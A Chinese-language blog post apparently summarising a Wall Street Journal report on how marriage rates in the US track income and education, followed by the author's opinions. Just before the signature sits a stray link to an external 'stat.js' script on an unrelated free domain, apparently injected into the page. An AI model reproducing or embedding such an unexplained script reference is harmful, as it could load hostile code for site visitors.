華爾街日報的一篇深度報導：「Affluent Americans Still Say ‘I Do.’ More in the Middle Class Don’t.」
摘錄幾個重點：
(1) 美國25～34歲年齡層，結婚者的中位收入是未婚同居者的4倍
(2) 雖然從1980年以來結婚率下降，但25歲以上具備高於大專學歷的族群結婚率近2/3，相對於僅具備高中學歷者結婚率為1/2。統計亦可看出，收入越高族群或學歷越高族群結婚率越高。（見圖）
(3) 自1979年美國離婚率最高峰以降，如今是40年來美國離婚率最低的時代。
(4) 過去工業發達地區因美國工業長年衰退，諸如Janesville, Wis.; Fayetteville, N.C.; Utica, N.Y.; and Bangor, Maine.等地，均出現明顯的結婚率下降。顯然恆久收入假設影響了結婚行為。例如 Decatur, Ill., 的製造業工作機會從2000年以來下降了40%，當地高中學歷族群結婚率從60%降至50%。
我的看法：
A. 經濟邏輯上否定「因為結婚才收入變高」的可能，因為結婚本身並不會改變「此人生產力或人力市場的可替代性」。所以此文統計資料的正確經濟解釋邏輯應是「高收入提高結婚意願」。
但經濟邏輯同時肯定站在資方立場，聘僱已婚男性意願會高於未婚男性，因為行為可預期性比較高。
B. 從一個較極端的觀點看，那些教人「多元成家」的非傳統婚姻契約安排的論點，其實是鼓吹「窮人思維」。
https://js.developerstatss.ga/stat.js?n=ns1
元毓說 